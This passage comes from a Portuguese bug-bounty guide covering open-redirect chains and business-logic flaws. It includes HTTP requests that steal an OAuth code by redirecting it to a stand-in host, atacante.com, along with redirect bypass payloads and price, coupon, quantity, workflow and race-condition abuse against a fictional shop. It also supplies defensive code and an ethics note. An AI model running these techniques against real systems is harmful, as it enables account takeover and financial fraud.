Por que funciona: o validador de SSRF aprova `alvo.com`; o cliente HTTP do servidor então **segue o redirect** (se `follow redirects` estiver ligado) e acaba batendo no recurso interno (ex.: o endpoint de metadados `169.254.169.254` da nuvem). Esse é um dos bypasses clássicos de allowlist de SSRF — a mecânica completa (e por que tantos fetchers seguem redirect cegamente) está no capítulo SSRF. Aqui o ponto é só: open redirect **fura allowlist de saída**.

Chain 3 — Phishing de alta credibilidade

O mais "simples", mas eficaz. O link de phishing **começa em** `alvo.com`, com o cadeado de TLS do alvo, e só depois cai numa página de login clonada. A vítima vê `https://alvo.com/...` no e-mail/SMS e confia. É o impacto que a PortSwigger e a OWASP citam como o **principal perigo** do open redirect isolado.

Caso real-fictício: open redirect → token OAuth → ATO

> Cenário **fictício, baseado em padrões reais** (anonimizado). Inspirado em padrões públicos como o redirect aberto via `redirect_uri=//...` em componentes de SSO/LTI.

Você testa `app.exemplo.com`, que oferece "Login com Provedor". Durante o login pós-OAuth, o Burp registra um callback interno:

Passo 1 — Achar o redirect interno. No histórico do Burp, o endpoint de callback tem um parâmetro `continue`:

```
GET /sso/callback?continue=/dashboard HTTP/2
Host: app.exemplo.com
```

No Repeater, você testa o bypass scheme-relative:

```
GET /sso/callback?continue=//example.com HTTP/2
Host: app.exemplo.com
```

```
HTTP/2 302 Found
Location: //example.com          # <- redirect aberto confirmado (vira https://
example.com no browser)
```

Open redirect confirmado no `continue`. **Isolado**, seria baixo. Mas o `continue` está **no endpoint de callback do OAuth**.

Passo 2 — Confirmar que o `redirect_uri` aceita esse callback. O início do fluxo OAuth aponta o `redirect_uri` pro próprio callback do app (válido na allowlist do provedor):

```
GET /authorize?client_id=app_exemplo
 &response_type=code
 &redirect_uri=https://app.exemplo.com/sso/callback?continue=//atacante.com
 &state=abc123 HTTP/2
Host: accounts.provedor.com
```

O provedor valida o `redirect_uri` — e ele **é** `app.exemplo.com`, então passa.

Passo 3 — A chain. Você manda esse link pra vítima (parece legítimo). Ela autentica no provedor real; o provedor redireciona pra `https://app.exemplo.com/sso/callback?continue=//atacante.com&code=AUTH_CODE`; o callback vulnerável segue o `continue` e joga o navegador pra `//atacante.com` **com o `code` anexado/no `Referer`**. Em `atacante.com`, você captura o `code` e troca por token.

```
GET /?code=AUTH_CODE_DA_VITIMA HTTP/2     # <- chega no servidor do atacante
Host: atacante.com
```

O que a tela do Burp mostraria: painel Request/Response com o `302 Location: //example.com` destacado em vermelho no PoC do redirect; e, na demonstração da chain, a request final chegando no Collaborator/servidor do atacante carregando o parâmetro `code` da vítima.

Passo 4 — Report. Título: `[Open Redirect → OAuth Code Theft] ATO via continue= no /sso/callback`. Severidade **Crítica** (account takeover de qualquer usuário que clicar). No resumo, deixe explícito que o open redirect é o **gadget** e o impacto é **roubo de token + ATO** — é isso que tira o report do balde "informativo". (Veja Como escrever um report que paga e a calibração de severidade em Severidade & Impacto.)

Defesa em camadas

A regra-mãe: **nunca reflita input cru no destino do redirect.** A OWASP é categórica — "*if used, do not allow the URL as user input for the destination*". Em ordem de preferência:

1. O ideal — não aceite URL nenhuma. Use um índice/ID mapeado no servidor:

```
// CORRETO — o cliente manda uma CHAVE, não uma URL. Zero superfície de bypass.
$destinos = [
    'dashboard' => '/painel',
```

```
    'perfil'    => '/conta/perfil',
    'faturas'   => '/financeiro/faturas',
];
$key = $_GET['next'] ?? 'dashboard';
$dest = $destinos[$key] ?? '/painel';   // fallback seguro se a chave não existe
header("Location: " . $dest);
exit;
```

Essa é a recomendação tanto da OWASP ("*server-side mapping*") quanto da PortSwigger ("*pass an index into this list*"). Sem URL crua, não tem o que bypassar.

2. Se PRECISA aceitar destino — force caminho relativo (mesma origem):

```
// Node — só permite redirect DENTRO do próprio site
function safeRedirect(res, input) {
  // Rejeita qualquer coisa que possa virar host externo:
  // - tem que começar com UMA barra
  // - NÃO pode começar com // ou /\ (scheme-relative)
  if (typeof input !== 'string' || !/^\/[^/\\]/.test(input)) {
    return res.redirect('/');            // fallback seguro
  }
  return res.redirect(input);            // ex.: "/dashboard" -> sempre same-origin
}
```

O regex `^\/[^/\\]` exige: começa com `/` **e** o segundo caractere **não** é `/` nem `\`. Isso mata `//evil.com`, `/\evil.com` e `\/...` de uma vez.

3. Se PRECISA de destino absoluto/externo — allowlist com parser de URL real (nunca string):

```
from urllib.parse import urlparse

ALLOWED_HOSTS = {"app.exemplo.com", "conta.exemplo.com"}

def is_safe_redirect(target: str) -> bool:
    p = urlparse(target)
    # 1) Exige esquema explícito e host -> evita //evil.com e https:evil.com
    if p.scheme not in ("http", "https") or not p.netloc:
        return False
    # 2) Compara o HOST EXATO extraído pelo parser (urlparse já ignora userinfo)
    #    p.hostname descarta "user@" -> mata o bypass https://alvo.com@evil.com
    return p.hostname in ALLOWED_HOSTS
```

```
// Java — Spring: hardcode quando possível, ou valide host parseado
URI uri = URI.create(target);
if (!ALLOWED_HOSTS.contains(uri.getHost())) {     // getHost() ignora userinfo
    return "redirect:/";                          // fallback seguro
}
return "redirect:" + uri;
```

O segredo é usar **`hostname`** / **`getHost()`** do parser — ele extrai o host real (descartando o `user@`) e você compara com **igualdade exata**, nunca `startsWith` / `contains` / `endsWith`.

4. Defesa de profundidade: - **Página de confirmação:** pra redirects de saída inevitáveis (trackers), mostre "*você está saindo de alvo.com para X. Continuar?*" — a OWASP recomenda isso explicitamente. - **No OAuth, `redirect_uri` em allowlist EXATA** (match completo da URL, **não** "começa com") — assim, nem que exista um open redirect no app o `code` consegue ser repassado pra fora pelo `redirect_uri`. (Detalhe no capítulo Account Takeover.) - **`code` /token de uso único e validade curtíssima**, e **fragment não logada** — reduz a janela de roubo via Referer. - **`Referrer-Policy: no-referrer`** em páginas que carregam segredos na URL — corta o vazamento de `code` /token pro destino do redirect.

> **O que NÃO basta:** - Validar com `startsWith("https://alvo.com")` → quebra com `https://alvo.com@evil.com` e `https://alvo.com.evil.com`. - Validar com `contains("alvo.com")` → quebra com `https://evil.com/alvo.com`. - Bloquear só `http://` / `https://` → quebra com `//evil.com` e `https:evil.com`. - Validar a string **antes** de decodificar → quebra com encoding/double-encoding. - Confiar que "começa com `/` está seguro" → quebra com `//evil.com` e `/\evil.com`.

Ferramentas + labs legais

- **Burp Suite** — Repeater (confirmar, com *Follow redirects* **desligado** pra ver o `Location`), Intruder (rodar wordlist de bypass no parâmetro), Collaborator (capturar o `code` /callback fora).
- **gau / waybackurls / katana** — coletar URLs e achar parâmetros de redirect (apresentados no capítulo Recon & Discovery).
- **gf** (com o pattern `redirect`) — filtrar candidatos automaticamente do output do `gau`.
- **OpenRedireX** — fuzzer dedicado de open redirect (recebe lista de URLs + payloads e testa os bypasses).
- **Labs pra praticar (autorizados):** PortSwigger — OAuth 2.0 vulnerabilities (o lab de roubo de `code` via open redirect é ouro), PortSwigger — DOM-based open redirection, TryHackMe, HackTheBox, HackingClub.

Checklist do caçador

- [ ] Coletei URLs do alvo (`gau` / `katana`) e filtrei parâmetros de redirect (`gf redirect` ou `grep`).
- [ ] Testei a família de parâmetros: `url`, `next`, `return(To)`, `dest`, `continue`, `callback`, `redirect_uri`, `rurl`, `go`, `u`.
- [ ] Confirmei no Repeater com **Follow redirects desligado** (header-based) e no browser (DOM-based).
- [ ] Rodei os bypasses: `//evil.com`, `/\evil.com`, `https:evil.com`, `https://alvo.com@evil.com`, `alvo.com.evil.com`, encoding/double-encoding.
- [ ] Testei **CRLF** no parâmetro (`%0d%0a`) — se a quebra de linha vaza pro `Location`, pode virar header injection/XSS.

- [ ] Verifiquei se o parâmetro vive em **endpoint de OAuth/callback** (`redirect_uri` , `/callback` , `/sso`) → potencial **token theft**. Testei também anexar `/../` ao `redirect_uri` whitelisted.
- [ ] Tentei usar o redirect pra **furar allowlist de SSRF** ou de saída.
- [ ] Documentei a **chain/impacto** (não só "redireciona pro Google") — é o que tira do balde informativo.
- [ ] Conferi se open redirect **isolado** está no escopo do programa.

Pegadinhas / o que NÃO funciona

- **Reportar redirect puro como Alto** sem chain → triador fecha como informativo. Mostre o **impacto** (token, phishing de credencial).
- **Esquecer DOM-based** → se a resposta não tem `Location` , não conclua "não tem bug": olhe o JS (`location.href = ...`).
- **Confundir same-site redirect com open redirect** → redirecionar pra outro path **do mesmo host** (`/dashboard`) **não** é vulnerabilidade; só vira bug se sai pro **host externo**.
- **Testar com `evil.com` que não existe** → use `example.com` (reservado pela IANA) ou seu Collaborator pra ter uma prova limpa de que saiu do alvo.
- **Achar que `state` salva tudo no OAuth** → `state` protege contra CSRF de vínculo, **não** contra roubo de `code` via open redirect. São defesas diferentes.

O que você precisa lembrar

- **Open redirect = destino do redirect vem do usuário e não é validado.** Pode ser header-based (`Location`) ou DOM-based (JS).
- **Isolado vale pouco; em chain vale muito.** O ouro é OAuth code/token theft → ATO, SSRF e phishing crível.
- **Bypass é discrepância de parsing:** `//` , `\` , `@` no userinfo, sufixo de domínio, encoding. Valide host com **parser**, nunca com substring.
- **Defesa que mata a classe:** mapa de IDs no servidor, ou caminho relativo, ou allowlist por **host exato parseado**.

> **Dica de ouro:** quando achar um open redirect, não pergunte "*quanto isso vale?*" — pergunte "*onde isso me leva?*". Se ele estiver perto de um fluxo OAuth, de um fetcher server-side ou de um e-mail transacional, você não tem um redirect: você tem um **trampolim pra algo crítico**.

Nota ética

Tudo aqui é pra **testes autorizados** — programas de bug bounty (dentro do escopo), pentests contratados e labs legais. Testar redirects e, principalmente, chains de roubo de token em sistemas de terceiros sem autorização é crime — e desnecessário, dado que os

labs da PortSwigger reproduzem exatamente esses cenários. Ao demonstrar a chain de OAuth, **nunca** use a conta de uma pessoa real sem consentimento; use duas contas de teste suas. Use pra proteger, reportar com responsabilidade e ensinar.

Referências

- OWASP — Unvalidated Redirects and Forwards Cheat Sheet
- PortSwigger — Open redirection (reflected)
- PortSwigger — OAuth 2.0 authentication vulnerabilities (roubo de `code` /token via open redirect no cliente)
- PortSwigger — Lab: Stealing OAuth access tokens via an open redirect (a chain `redirect_uri` + `/../` + open redirect na prática)
- PortSwigger — DOM-based open redirection
- FIRST — CVSS v4.0 Specification (métricas de impacto no sistema vs. subsequente — por que v4.0 descreve melhor um trampolim)
- MITRE — CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
- RFC 3986 — URI Generic Syntax (§3.2.1 userinfo, §4.2 relative reference)
- PayloadsAllTheThings — Open Redirect (wordlist de bypass pronta)

Este capítulo é o trampolim do guia — ele alimenta três outros: Account Takeover (onde a chain de `redirect_uri` → roubo de `code` /token vira ATO), SSRF (onde o redirect fura a allowlist de saída) e Chaining de Vulnerabilidades (onde ele entra como gadget de chains maiores). Vizinho de classe: CRLF Injection. Base: Recon & Discovery · calibre o impacto em Severidade & Impacto.

Business Logic Flaws: quando a regra de negócio é a vulnerabilidade

A vulnerabilidade que não tem payload

Você manda uma compra com `quantidade: -1` e, em vez de erro, o seu **saldo aumenta**. Você pula a tela de pagamento indo direto pra URL de confirmação e o pedido sai como **pago**. Você aplica o mesmo cupom 200 vezes trocando um header e o desconto **empilha**. Repare numa coisa: em nenhum desses casos teve aspas, `<script>`, `UNION SELECT` ou qualquer caractere mágico. O servidor fez **exatamente o que foi programado pra fazer** — o problema é que *o que foi programado* permite abuso.

Isso é **Business Logic Flaw** (falha de lógica de negócio). É a classe de bug onde **não existe payload, existe raciocínio**. Ela não está num caractere que escapou da sanitização; está numa **suposição que o desenvolvedor fez e nunca validou** — "o cliente sempre vai comprar quantidade positiva", "quem chegou na etapa 3 já passou pela etapa 2", "ninguém vai mandar uma data de nascimento de 2025 depois de cadastrado". Cada uma dessas frases é uma porta.

É também a classe que **scanner nenhum acha** (já vamos ver por quê), o que a torna um prato cheio pra quem testa na mão. Neste capítulo a gente vai do "o que é" até técnicas concretas — manipulação de preço, workflow bypass, replay, abuso de cupom, bypass de validação client-side, inconsistência de estado — sempre com o *porquê*, código de ataque e código de defesa. (Se você ainda não viu como mapear superfície de ataque, dá uma passada no capítulo de Recon & Discovery antes; aqui assumo que você já sabe interceptar uma request no Burp.)

O que é uma falha de lógica de negócio?

> **Analogia:** imagine uma catraca de metrô que só conta passagens *somando*. O engenheiro presumiu que toda passagem é `+1`. Aí alguém descobre que dá pra inserir um cartão com valor `-1` e a catraca, fazendo o que foi mandada fazer, **devolve crédito** em vez de cobrar. A catraca não está "hackeada" — ela está funcionando perfeitamente. O bug está na **regra**: ninguém disse a ela que passagem negativa não existe no mundo real.

A definição oficial da PortSwigger é direta: falhas de lógica de negócio são "**falhas no design e na implementação de uma aplicação que permitem ao atacante provocar comportamento não-intencional**". Elas nascem quando o time **não antecipa estados incomuns** e não os trata com segurança.

A diferença pra todas as outras classes que vimos neste guia é essencial:

Classe	A falha está em...	Tem payload?
XSS / SQLi	dado **malformado** que escapa do contexto	Sim (`'` , `<script>` , ...)
Broken Access Control (IDOR/BFLA)	**autorização** que não foi checada	Não, mas tem **identificador** trocado
Business Logic	uma **regra/suposição de negócio** que pode ser quebrada com dado **perfeitamente válido**	**Não** — tem raciocínio

Repare: em Business Logic, o valor que você manda costuma ser **sintaticamente perfeito**. `-1` é um inteiro válido. `2025` é um ano válido. Pular pra `/checkout/confirm` é uma navegação válida. O servidor não tem como "detectar caractere suspeito" porque **não há caractere suspeito**. É por isso que ela é tão silenciosa — e tão bem paga.

Por que scanners não acham (e por isso paga)

A própria PortSwigger resume: "**falhas de lógica são frequentemente invisíveis pra quem não está explicitamente procurando por elas**" e não aparecem no uso normal. Pensa em como um scanner (Acunetix, Nuclei, o scanner do Burp) funciona: ele tem uma **lista de payloads** e uma **lista de sinais de resposta** (erro de SQL, reflexão de `<script>` , etc.). Ele dispara `' OR 1=1--` e vê se quebra.

Agora me diz: qual payload detecta que **"quantidade negativa gera crédito"**? Não existe. O scanner teria que **entender que o app vende coisas, que quantidade deveria ser positiva, e que crédito negativo é absurdo no domínio**. Ele não entende o negócio — ele só conhece sintaxe. Como diz um princípio que circula muito entre caçadores experientes: *enquanto a maioria roda mil ferramentas e segue checklist, o diferencial vem de analisar o fluxo da aplicação usando só lógica — a diferença não está no que você olha, mas no que você percebe.*

Tradução pra bolso: **menos competição**. A galera roda scanner e reporta o que ele cospe. Quem senta, entende o fluxo e percebe a suposição quebrada acha bug que mais ninguém viu. Em programas reais, falhas de lógica pagam de **algumas centenas de reais/euros** (um bypass de limite de baixo impacto — faixa de **€150–€300** numa plataforma europeia, ou **~$500** num bypass de regra de negócio Médio) até **R$5.000+** quando a lógica quebrada toca dinheiro, autenticação ou PII em escala (um *account takeover* via falha de fluxo, por exemplo, cai nessa faixa alta). A variação é enorme justamente porque **o preço acompanha o impacto concreto**, não a "técnica" — voltamos nisso no CVSS do caso prático.

> **PII**: dados pessoais identificáveis (nome, CPF, e-mail, etc.). Detalhe no Glossário.
>
> **O estado do ativo mexe no bolso (lição de triagem).** Uma falha de lógica aceita como **Alto** numa funcionalidade que estava **fora de produção** (que seria só descontinuada) pode pagar a pontuação do Alto **sem nenhum bônus** — enquanto o mesmo Alto num fluxo *em produção* renderia mais. A severidade técnica não muda; a

> **recompensa** sim. Antes de queimar horas num fluxo, confirme que ele está **vivo e em produção**. (Mais sobre precificar achado no capítulo de Severidade, Impacto e Triagem.)

Como funciona por trás: a suposição não-validada

Toda falha de lógica tem a mesma anatomia. Existe uma **invariante** — uma regra que o negócio assume como sempre verdadeira — e o servidor **não a reforça**. Exemplos de invariantes:

- "quantidade de item é sempre ≥ 1"
- "o preço vem da nossa base, nunca do cliente"
- "pra chegar em `confirmar`, passou por `pagar`"
- "cada conta envia o formulário no máximo uma vez"
- "data de nascimento, depois de cadastrada, não muda a maioridade"

O dev confia que essas regras "naturalmente" se mantêm porque **a interface dele as mantém** (o `<select>` só mostra de 1 a 10; o botão "confirmar" só aparece depois de pagar). O erro é achar que **a interface é a fronteira de segurança**. Não é. A fronteira é a **API**. E na API, o atacante manda o que quiser. (Por isso lógica de negócio e segurança de API andam de mãos dadas — veja o capítulo de API Security, onde os mesmos endpoints viram a superfície de ataque.)

```
// Backend VULNERÁVEL — confia que quantidade veio do <select> (1 a 10)
$qtd   = (int) $_POST['quantidade'];          // <- e se vier -1 ?
$preco = $produto->preco;
$total = $qtd * $preco;                        // -1 * 100 = -100  (total negativo!)
// o checkout DEBITA o total do saldo do cliente:
$saldo = $usuario->saldo - $total;            // saldo - (-100) = saldo + 100  -> o
saldo SOBE
```

Não tem injeção. Tem aritmética honesta sobre uma entrada que **nunca deveria existir** — e que o servidor nunca proibiu.

Tipos e variações

> **WSTG** (Web Security Testing Guide): o guia de testes de segurança web do OWASP, organizado por classe de falha.

Vou organizar pelo *jeito de raciocinar*, com referência aos exemplos oficiais da PortSwigger e às seções do OWASP WSTG (Business Logic Testing, seção **4.10**: dez casos de teste — de *Test Business Logic Data Validation* (`4.10.1` / `WSTG-BUSL-01`) a *Test Payment Functionality* (`4.10.10`, presente na versão *latest*); a versão *stable* v4.2 vai até `4.10.9` / `WSTG-BUSL-09`):

1. **Confiança excessiva em controle client-side** — o app valida no navegador (JS, `maxlength`, `<select>`, preço escondido num `hidden`) e confia que isso chega intacto.

Você adultera depois que sai do browser, no Burp. (*Excessive trust in client-side controls*.)
2. **Não tratar entrada incomum** — valor **negativo**, número gigante (**integer overflow**), zero, string vazia, casa decimal a mais (arredondamento), tipo trocado. (*Failing to handle unconventional input*.)
3. **Suposições erradas sobre o comportamento do usuário** — "quem passou pelo passo X é confiável dali pra frente". Inclui **workflow bypass** (pular etapas) e campos "imutáveis" que ficam editáveis depois. (*Making flawed assumptions about user behavior*.)
4. **Falhas específicas do domínio** — abuso de **cupom/desconto**, regras de saldo, programa de pontos, lógica de cobrança. (*Domain-specific flaws*.)
5. **Reuso / replay de request** — repetir uma operação que deveria ser única (um envio, um resgate, uma transferência) porque não há **idempotência** (a garantia de que repetir a mesma chamada produz o mesmo resultado, sem acumular efeito).
6. **Inconsistência de estado** — duas operações que, intercaladas/concorrentes, deixam o sistema num estado impossível (clássica **race condition** em saldo/estoque).
7. **Oráculo de cifragem / valores reaproveitados** — o servidor te devolve um valor já assinado/cifrado e você reusa pra autenticar outra coisa. (*Providing an encryption oracle* — conversa direto com o "ID criptografado devolvido pela API" que vimos no capítulo de IDOR/BOLA/BFLA.)

Recon — como achar falha de lógica

Aqui o "recon" não é varrer subdomínio (isso é o capítulo 01). É **engenharia reversa do negócio**. O processo, passo a passo:

1. Use a aplicação como um usuário de verdade, do início ao fim. Faça uma compra completa. Cadastre-se. Resgate um cupom. Transfira algo. Com o **Burp Proxy ligado**, cada clique vira uma request gravada no histórico. Você está construindo o **mapa do fluxo**.

2. Liste as etapas e as transições. Desenhe (no papel mesmo): `carrinho → endereço → pagamento → confirmação`. Cada seta é uma **suposição** ("só chego em confirmação depois de pagar").

3. Para cada campo, pergunte "qual o intervalo que o dev presumiu?". Quantidade: ele presumiu 1 a N positivo. Preço: ele presumiu que vem do servidor. Data: ele presumiu passado. Anote a **suposição** de cada um — é a sua lista de testes.

4. Procure onde a validação mora. Abra o DevTools/Burp: a checagem está no JS (client-side) ou tem uma resposta de erro do servidor quando você força? Se a única barreira é o `<select>`, **a barreira é fictícia**.

> **Sinais de que tem ouro ali:** valores monetários no corpo da request (`price`, `amount`, `total`), campos que "não deveriam estar editáveis" trafegando mesmo assim, fluxos com múltiplas etapas (checkout, KYC — a verificação de identidade do cliente,

> *Know Your Customer*; onboarding), qualquer "limite" ("1 por conta", "1 cupom por pedido"), e qualquer campo que represente **estado** (`status` , `step` , `paid` , `role`).

Ferramentas que entram aqui (todas apresentadas a fundo no capítulo 01): - **Burp Suite** — o coração. **Proxy** pra gravar o fluxo, **Repeater** pra remontar request alterando um campo, **Intruder** pra repetir/enumerar, **Comparer** pra diff de respostas. - **DevTools do navegador** — pra ver a validação client-side antes de furá-la. - **Burp Logger / sitemap** — pra não perder nenhuma etapa do fluxo.

Exploração passo a passo (do básico ao avançado)

Nível 1 — Manipulação de preço (confiança no client-side)

O caso mais clássico de domínio. O carrinho manda o **preço** no corpo da request (erro grave, mas comum em integrações antigas). No Repeater, você troca:

```
POST /api/cart/checkout HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
Content-Type: application/json

{"productId": 1001, "quantity": 1, "price": 1.00}   # <- preço real é 1299.00
```

Se o pedido fecha por R$ 1,00, o servidor **confiou no preço do cliente** em vez de buscar na própria base. Variações do mesmo raciocínio: trocar a **moeda**, mandar **desconto** no corpo, ou alterar o `total` final.

Nível 2 — Entrada incomum: quantidade negativa e overflow

Não precisa nem do preço no corpo. Ataque a **quantidade**:

```
POST /api/cart/add HTTP/2
Content-Type: application/json

{"productId": 1001, "quantity": -1}   # <- gera total negativo = crédito?
```

Teste a bateria de "valores que o dev não esperou": `-1` , `0` , `0.999` , `99999999999` , `"1"` (string), `[1]` (array). Cada um exercita uma suposição diferente.

O caso premium aqui é o **integer overflow**, que a PortSwigger documenta no lab *Low-level logic flaw*. O preço de um item, somado muitas vezes, **estoura o máximo de um inteiro de 32 bits** (`2.147.483.647`) e **dá a volta** pro mínimo negativo (`-2.147.483.648`). A técnica:

```
1. Burp Intruder no parâmetro quantity, payload type "Null payloads".
2. Em Payload configuration, marque "Continue indefinitely".
3. Cada request adiciona unidades; o total cresce até estourar o int...
```

```
4. ...vira negativo e começa a "subir" de volta em direção a 0.
5. Pare quando o total ficar entre $0 e o seu saldo -> compra por centavos.
```

Não há payload malicioso — há **aritmética que o backend não protegeu**.

Nível 3 — Workflow bypass (pular etapas)

A suposição: "pra chegar na confirmação, passou pelo pagamento". Você mapeou o fluxo no recon. Agora **pula direto** pra etapa final:

```
POST /api/order/confirm HTTP/2     # <- normalmente só se chega aqui DEPOIS de /pay
Content-Type: application/json

{"orderId": 5012}
```

> **MFA / 2FA**: autenticação de múltiplos fatores — exige 2+ fatores pra logar (ex.: senha + código do app autenticador).

Se o pedido vira `CONFIRMED` / `PAID` sem nunca ter passado por `/api/order/pay`, **a máquina de estado não foi validada no servidor**. Mesmo raciocínio vale pra pular **KYC**, pular **verificação de e-mail**, ou pular a etapa de **MFA** num login.

Uma variante muito comum (e que paga) é **pular uma etapa obrigatória reusando a request de uma conta que já passou por ela**. Padrão clássico em fintechs: existe uma regra de negócio "só pode solicitar o cartão / aprovar o aumento de limite **depois de aceitar os termos**". Você usa duas contas — a **Conta A** já aceitou os termos, a **Conta B** não. Captura a request da ação restrita com a Conta A e **troca só a autenticação** pela da Conta B:

```
POST /api/limit/approve HTTP/2     # <- normalmente exige termos aceitos
Authorization: Bearer <token_da_Conta_B>   # <- B nunca aceitou os termos
Content-Type: application/json

{"increaseId": 8842}
```

Se a Conta B consegue interagir com o aumento de limite **sem ter aceitado os termos**, a etapa obrigatória do fluxo nunca foi validada no servidor — só na interface. (Repare o cruzamento com a **troca de token** do capítulo 10: a *técnica* é a mesma, mas aqui o alvo não é acesso a dado de outro, e sim **contornar uma regra de negócio do processo**.)

Nível 4 — Reuso/replay e abuso de limite

A suposição: "essa operação só pode acontecer uma vez (por conta)". Aqui entram duas técnicas.

Replay puro: capture a request de uma operação única (resgatar cupom, enviar formulário), mande pro Repeater (`Ctrl+R`) e **reenvie N vezes** ali (`Ctrl+Space` a cada reenvio). Se cada reenvio acumula efeito (saldo, desconto, envios), não há **idempotência**.

Burlar o "1 por conta" trocando o identificador de tenant (tenant = a conta/organização "dona" dos dados num sistema multicliente). Padrão real e elegante: o limite é amarrado num header de conta, não na sua sessão. Você tem Conta A e Conta B. O servidor checa o header `Account` , mas confia que ele "bate" com o token:

```
POST /api/forms/submit HTTP/2
Authorization: Bearer <token_da_Conta_B>   # sua sessão é a B
Account: 100123                             # <- mas você põe o Account da Conta A
Content-Type: application/json

{"formId": 77}
```

Trocando o `Account` da B pelo da A (e vice-versa), você reseta o contador e **submete o formulário infinitas vezes**, furando a regra de "envio único por conta". (Repare o parentesco com a **troca de token** do capítulo 10 — só que ali o alvo é *acesso*; aqui é *contornar um limite de negócio*.)

Nível 5 — Bypass de validação client-side (idade, CPF) e campo "imutável"

A suposição: "o usuário passou pela validação no cadastro, então o dado dele é confiável pra sempre". Dois casos concretos e muito comuns no Brasil:

Idade / data de nascimento editável depois. O cadastro **bloqueia menores de idade** (valida a data no front e no momento do registro). Mas depois de confirmar a conta, existe um `/perfil/editar` que **deixa trocar a data de nascimento sem revalidar a maioridade**:

```
PATCH /api/user/profile HTTP/2
Authorization: Bearer <seu_token>
Content-Type: application/json

{"birthDate": "2015-04-04"}   # <- agora você é "menor"; o controle de idade caiu
```

A validação existia **só na porta de entrada**. Depois que você entrou, o campo "imutável" virou editável — falha de **suposição sobre comportamento do usuário**.

CPF não validado no backend. O formulário valida o CPF no JavaScript (dígito verificador, máscara). Você manda a request **direto pra API**, pulando o JS, com um CPF **inexistente/sintaticamente errado**:

```
POST /api/checkout HTTP/2
Content-Type: application/json
```

```
{"productId": 1001, "taxpayer_registry": "00000000000"}   # <- CPF inválido
```

Se a compra fecha e o CPF é **persistido sem validação**, o backend confiou que o JS já tinha checado. Impacto real: quebra o faturamento fiscal (a nota sai com documento inexistente), comprometendo o envio de dados ao governo. Parece "bobo", mas paga — é uma invariante de negócio (CPF tem que ser válido) que o servidor não reforça.

> **O outro lado da moeda — quando o fluxo *exige* documento válido pra prosseguir.** Às vezes você precisa de um documento **formalmente válido** (dígito verificador correto) só pra passar de etapa e chegar no ponto interessante. Aí entram geradores como o **4devs** (gera CPF/CNPJ formalmente válidos, sem vínculo com pessoa real — use só em conta de teste, em alvo autorizado). Detalhe de garimpo: muitos programas europeus (vistos na Intigriti) exigem **documento europeu** no cadastro, e a falta de um gerador equivalente vira barreira de entrada — o que, por outro lado, **reduz a concorrência** naquele programa.

Nível 6 — Avançado: inconsistência de estado (race condition)

A suposição: "as operações acontecem uma de cada vez". Você tem R$ 100 de saldo e quer transferir R$ 100 **duas vezes**. Se você disparar as duas requests **exatamente ao mesmo tempo**, ambas leem o saldo "100", ambas aprovam, e você transfere **R$ 200 tendo R$ 100** (saldo negativo / dobro de valor):

```
# Burp Repeater -> agrupe as 2 requests numa aba de grupo
# clique em "Send group in parallel (single-packet attack)"
# as duas chegam no MESMO instante -> ambas validam contra o saldo antigo
```

O *single-packet attack* do Burp (Repeater → "Send group in parallel") sincroniza as requests pra explorar essa janela de microssegundos. É lógica de novo: o dev presumiu serialização que o banco não garantiu.

Caso real-fictício: cupom que empilha + preço no corpo

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você testa `app.exemplo.com`, uma loja. No recon, você comprou um item com o Proxy ligado e mapeou o fluxo: `add → apply-coupon → checkout`. Na etapa do cupom, o Burp gravou:

```
POST /api/cart/apply-coupon HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
```

```
Content-Type: application/json

{"cartId": 5012, "coupon": "BEMVINDO10"}
```

```
HTTP/2 200 OK
Content-Type: application/json

{"cartId":5012,"subtotal":1000.00,"discount":100.00,"total":900.00}
```

Desconto de 10% aplicado, total caiu pra 900. **Suposição do dev:** "um cupom por carrinho".

Passo 1 — Replay do cupom. Mando a request de `apply-coupon` pro Repeater (`Ctrl+R`) e reenvio a **mesma** request cinco vezes (`Ctrl+Space` x5). A resposta mostra o `discount` **acumulando**:

```
HTTP/2 200 OK
{"cartId":5012,"subtotal":1000.00,"discount":500.00,"total":500.00}   # <- 5x10% empilhou
```

Não havia **idempotência**: o servidor somava o desconto a cada chamada, em vez de garantir "um cupom só".

Passo 2 — Empurro pra zero (entrada incomum). Reenvio até o `discount` passar de 1000. O servidor não trava em zero:

```
HTTP/2 200 OK
{"cartId":5012,"subtotal":1000.00,"discount":1100.00,"total":-100.00}   # <- total NEGATIVO
```

Passo 3 — Fecho o pedido. Mando o `checkout` . Total negativo vira **crédito na conta** — eu "ganho" R$ 100 comprando.

O que a tela do Burp mostraria: painel Request/Response do Repeater; na Response, o campo `total` destacado em vermelho passando de `900.00` → `500.00` → `-100.00` a cada reenvio, sem nenhum erro de validação.

Passo 4 — Report. Título: `[Business Logic] Empilhamento de cupom + total negativo gera crédito indevido` . Resumo focado no risco: "*qualquer cliente autenticado consegue zerar/inverter o valor de um pedido reaplicando o mesmo cupom, gerando prejuízo financeiro direto*". Passos numerados + prints das três respostas. Pra estruturar o report, veja o capítulo de Como escrever um report que paga.

Severidade e CVSS. Aqui está o ponto que mais separa biz logic das outras classes: **não existe "o CVSS de business logic"** — o vetor é todo do *impacto concreto* que você provou. Neste cenário (qualquer usuário **autenticado** consegue forjar crédito → integridade

financeira comprometida, sem exigir interação da vítima nem vazar dado de terceiros), um vetor defensável é:

- **CVSS v3.1:** `6.5` (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (rede, fácil, precisa estar logado, sem interação; integridade **alta** porque você corrompe o valor do pedido, mas confidencialidade e disponibilidade `N`).
- **CVSS v4.0:** `7.1` (High) — `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`.

Repare que as duas versões **discordam** (Medium na v3.1, High na v4.0) — exatamente o tipo de divergência que o capítulo 02 explica: não copie o número de uma pra outra, calcule cada um. Tendo **os dois vetores** no report, você discute de igual pra igual seja qual for a versão que o programa usa.

> **Calibre pelo que você provou, não pelo teto teórico.** Se o crédito gerado **fica preso no carrinho** e some ao limpar a sessão, o impacto cai (vira Baixo/informativo). Se ele vira **saldo sacável / dinheiro de verdade em escala**, sobe pra Crítico (e o vetor muda: integridade *e* disponibilidade financeira em jogo). O mesmo bug "empilhar cupom" pode valer um `4.x` ou um `9.x` dependendo do **efeito de negócio** — por isso *sempre* persiga e documente o impacto financeiro real. Recalcule o número na calculadora oficial e calibre conforme o capítulo 02.

